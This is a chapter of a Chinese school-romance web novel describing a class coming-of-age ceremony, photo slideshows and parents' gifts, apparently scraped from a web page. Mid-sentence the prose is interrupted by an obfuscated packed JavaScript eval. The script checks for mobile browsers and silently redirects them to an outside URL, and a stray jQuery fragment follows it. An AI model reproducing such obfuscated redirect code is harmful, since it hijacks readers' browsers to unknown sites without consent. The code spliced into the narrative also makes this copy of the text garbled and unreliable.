愉琛将沈棣棠圈在凳子狭小空间，拼命克制自己才没有离她再近些，勉强停在一个不至于太越界的距离。
他从来都知道，沈棣棠吃软不吃硬，对待她的事绝对不能操之过急。
可此刻，他的理智崩断，只想抓着她问问清楚。
为什么要拿走付柏杨的名牌？
为什么总是想逃走？
为什么骗他？
他轻轻地叹一口气："沈棣棠，你能有点良心吗？"
"什么？"沈棣棠问。
"你......”
愉琛这句话没说完，被她打断：“左手还是右手来着？”
愉琛：？
“我突然想起来白天小测那道磁场题，我左右手好像记反了！”
沈棣棠捏着无事牌，一回生二回熟，咻地丢回他的领子，接着灵活地从他胳膊和椅子的空档钻出去，丢下一句：“我查一下笔记！”
愉琛就这么扶额看着她翻出他给的活页笔记，当着他的面复习起左手定则。
“完了，真的记反了。”她感叹完才重新抬起头，“你刚才想说什么来着？”
她手里的笔记是他写的，但他现在已经认不出了。他的字体旁密密麻麻全是小字，还有不同的标注。
他觉得毫无意义，不过能讨愉杰临片刻舒心的高考与成绩，却是她真正在乎，并为之付出无数努力的。
从这个角度看过去，她眼睛里有长期熬出来的红血丝。
他此刻才有实感，高考这轻飘飘的两个字，是她目前最重要的事，比其他一切都更加重要。
愉琛停顿片刻才说：“我想说——”
“你高考加油。”
/
成人礼当天，全校高三生没几个穿校服，男生大多穿着父母精心准备的西装，女生就更多样性一点，有穿JK的、穿时装的，还有穿汉服的，还有一部分女同学化了妆，散了头发。
沈棣棠有点后悔自己没好好听刘班宣布的消息，老老实实穿了国际部校服。虽说校服不难看，但她灰头土脸地过了三个月，两套国际部校服换着穿，还是想打扮打扮自己的。
可衣服都放在老房子里，她也不敢去，只好作罢。
成人礼是高三一整年最重要且唯一的活动，全班人心都长了草，上课走神传纸条的大有人在，老师们也很给面子地没有苛责，甚至有三门课都没布置作业。
到了下午，大家翘首以盼的成人礼总算开始，家长们鱼贯而入，坐在同学们的桌椅上，而学生们则在教室后面的空档还有走道挤成一团。
周翊的爸爸果然没来，他大剌剌地坐在自己的位子上，放肆地跟身后的同学们聊天。
沈棣棠的位子一开始空着，后来陈尔欣干脆坐在她位子上，挨着她妈妈。沈棣棠站在门口都能闻见，陈尔欣的妈妈和她一样，身上有一股很明显的果香味，闻着就饿。
付柏杨的爸爸她之前见过，和蔼地跟他们点点头，招呼他们成人礼结束去店里吃炸鸡。
愉琛的位子上坐着个保养得宜的中年女人，她有些局促地跟愉琛谦让两轮，才自己坐好，看样子就是愉琛的继母。
看着她小心翼翼的样子，沈棣棠没来由地觉得鼻酸，可看到愉琛对着她温柔地笑，又隐约感到些宽慰。
刘班象征性地讲了几句话，让付柏杨把象征成人的名牌发给大家，成人礼就算正式开始了。
付柏杨负责主持，他帮忙用投影播放PPT，第一页出来的时候，底下的同学都惊呼一声。
最上方写着：欣欣，然后下面开始逐张弹出照片，从婴儿时期开始，每个阶段一张。
看到儿童时期的那张照片，沈棣棠就确定这是陈尔欣。她之前说过她小名叫欣欣，而且她现在正害羞地把脸埋在妈妈怀里，抱怨她妈妈放她的黑历史。
接下来是班长的，他小名是杨杨。班长不愧是班长，被放了穿开裆裤的照片都没脸红，目不斜视地笑着。
周翊没有小名，大剌剌地写着本名，大家都不用猜。他也没有小时候的照片，放了上课睡觉、脏摊吃串、门口罚站还有讲台上读检讨的照片上去，显然都是刘班找班里男生收集的。
等到愉琛的时候，沈棣棠小小惊叹了一下，他真的从小到大都长得很标致，小时候的照片都是那种爬高蹦跶的动作，每张都笑得很开。其中一张，他脸离镜头极近，被镜头后那人伸出的手捏得嘟起来，还在顽皮地吐着舌头。
“哇，这是我琛哥？我琛哥还有这么活泼的时候呢？”周翊回头跟沈棣棠感染。
沈棣棠没回答他，而是转头看向愉琛。她看到那只手的时候，心里便有了猜测，转头看到愉琛的表情，她更加确认，那就是他母亲白芦的手。
愉琛没露出什么痛苦或是难过的神色，他只是微微张开嘴唇，无声地深呼吸调整情绪，眼尾泛红。
沈棣棠远远望他一眼，再重新看向PPT的时候，发现已经播放到他穿着高中校服的两张照片，一张入学照，一张近期拍的，用作高考准考证的照片。
拍照的角度相差不大，可他几乎不是同一个人了。
入学照片里，他笑得恣意，满眼光芒，几乎是骄傲的。
那之后没多久，白芦便去世。
最后一张照片，他依然在笑，可眼神完全不同。那股少年的锐气消失不见，取而代之的是平淡与厌倦，仿佛对一切都提不起兴趣。
哪怕是愉琛跟她说起这段经历、都冷静得像是在讲别人的故事。他没有展开讲白芦的葬礼，更没有说他发现愉杰临自杀时，到底发生了什么。
对于这些痛苦，他只是轻描淡写，镇静地随口带过。
可沈棣棠就是知道，那是强撑的镇静。就仿佛，他如果绷不住，垮下来，那一切都会完蛋。
她忽然感觉，失去母亲后一夜长大的少年，其实早就一并死在那场葬礼中。死于顺应一切，也死于压抑一切。
沈棣棠望着入学的照片，难过之余，也没来由地遗憾。
怎么没能认识那时候的愉琛呢？看起来，是很耀眼的一个人。
没多久，幻灯片上弹出两个字：阿花。
后面是她从小学到现在，穿着各色校服的照片。
周翊哈哈大笑：“咱班谁小名这么......这么像村花啊哈哈哈哈！”
沈棣棠熟练且迅速地肘击他后脖颈，确保周围没人看见才沉下脸说：“你祖宗！”
周翊龇牙咧嘴地揉脖子，揉完一抬头，又笑喷了：“啊哈哈哈哈！你怎么从小脸就这么臭啊，这么多照片，怎么每张都臭脸啊哈哈哈哈哈哈哈哈哈！”
“再笑，再笑我把你舌头扯出来系蝴蝶结！”沈棣棠弯下身子，小声在他耳边威胁道。
再一扭头，她看到愉琛也在笑，深邃的眼睛弯起来，挡住大半瞳仁。
可他站得远，沈棣棠只好作罢。
那些照片是刘班专门从国际部的档案里拷贝出来的，她从小学开始在安藤国际部对口的自费学校就读，所以这里的照片都是学生时期的证件照和活动照。
陈尔欣看完照片，回头口型跟她说了好几遍可爱。
照片环节结
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114633|161017||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
束，付柏杨重新走上讲台：“接下来是礼物环节，请家长们将成人礼物留在书桌里，然后同学们跟家长交换场地，回座位坐好。”
整间教室又喧闹起来，学生和家长带着笑的说话声混着桌椅板凳碰撞的响声，许久才平息下来。
班长也回到自己座位上，只剩她和周翊两个人站在后门，被一堆家长挤到角落。她是没礼物拿，懒得过去，周翊是好心把位子让给团支书的奶奶，吊儿郎当地往她旁边一站。
刘班宣布成人礼物环节开始，大家就都迫不及待地把手伸进书桌里，男生收到的大多是领带、皮鞋这类象征成长的东西，女生的家长也没什么创意，大多是项链、手表还有包，最酷的是个喜欢航天的女生，她礼物书桌都放不下，是家长从门外扛进来的巨大火箭模型。
周翊瞠目结舌：“哇塞！能飞吗能飞吗？”
沈棣棠难兄难弟似的跟他站在一起，难得给他点好脸色，耐心解释：“能的，而且还有降落伞呢。”
“我去！”周翊对着收火箭那姑娘大呼小叫，“飞一个我看看！！！”
沈棣棠忍无可忍地捂住耳朵：“你小声点，我要聋了。”
“啧。”周翊夸张地撇嘴，“你这人怎么回事？我们无家长联盟要团结！小爷陪你罚站，你就偷着乐去吧。”
沈棣棠面无表情：“哈哈。”
拆完礼物的同学都收到了家长亲笔写的信，电脑适时地播放感人至深的背景音乐，好几个女生都对着信纸抹眼泪。
刘班从前门绕到后门，往周翊手里塞个灰扑扑的快递盒子：“你爸给的，差点以为今天到不了呢。”
周翊接过来，傻了半天才动手拆，里面是最新款的索x游戏机。他包装盒都没拆，拿在手上掂了掂，无语道：“这是小爷我今年收到的第三台同款，搁消消乐里都能消除了。全是我那不孝老子的新欢买的，他老婆卸任上岗不写交接文档吗？搞笑，你！接着乐。”
沈棣棠知道他没放在心上，干巴巴地配合他笑：“哈哈。”
周翊父亲的礼物不走心，也没有写信，可......总好过什么都没有。
沈棣棠看着满屋子与家长拥抱的同学，一时愣神。
从小到大，在送她礼物这方面，季灵芝从不吝啬，这还是她第一次眼巴巴地看着别人。
她的失落快要藏不住，想干脆从后门溜出去，透透气。
愉琛眼见着周翊忙着给游戏机拍照，在群里问有没有人要二手，把说好的事情忘到脑后。旁边沈棣棠都要走了，他还在那找角度。
愉琛忍无可忍地重咳一声，眼神示意周翊。
“哦对了，吉姐。”周翊被愉琛看了好几眼才想起正式，急吼吼地把沈棣棠摁回她的位子上，“爸爸给你准备了成人礼物，在你书桌里。”
沈棣棠不用想都知道，这位神人又闲得慌了，书桌里大概率是他在愚人节那天用过的软趴趴大蟑螂。她想转身锤他，可那么多家长都在后排站着，她也不敢造次。
她徒手伸进书桌里，打算把蟑螂抓出来，晚点塞到他书包里。
可伸进去一摸，没摸到想象中的软蟑螂，反倒摸到一样凉凉的、体积很大的东西，和一沓厚实的、摸起来像纸的东西。
沈棣棠掏出来，发现大东西是一管巨大的白颜料，大到离谱，单手握不住，很有安全感。
而另一样，是厚厚的一封信。
纸张太多，以至于信封被撑得裂开来。
信封上写着四个字：
沈棣棠收。
四个字，四种字体。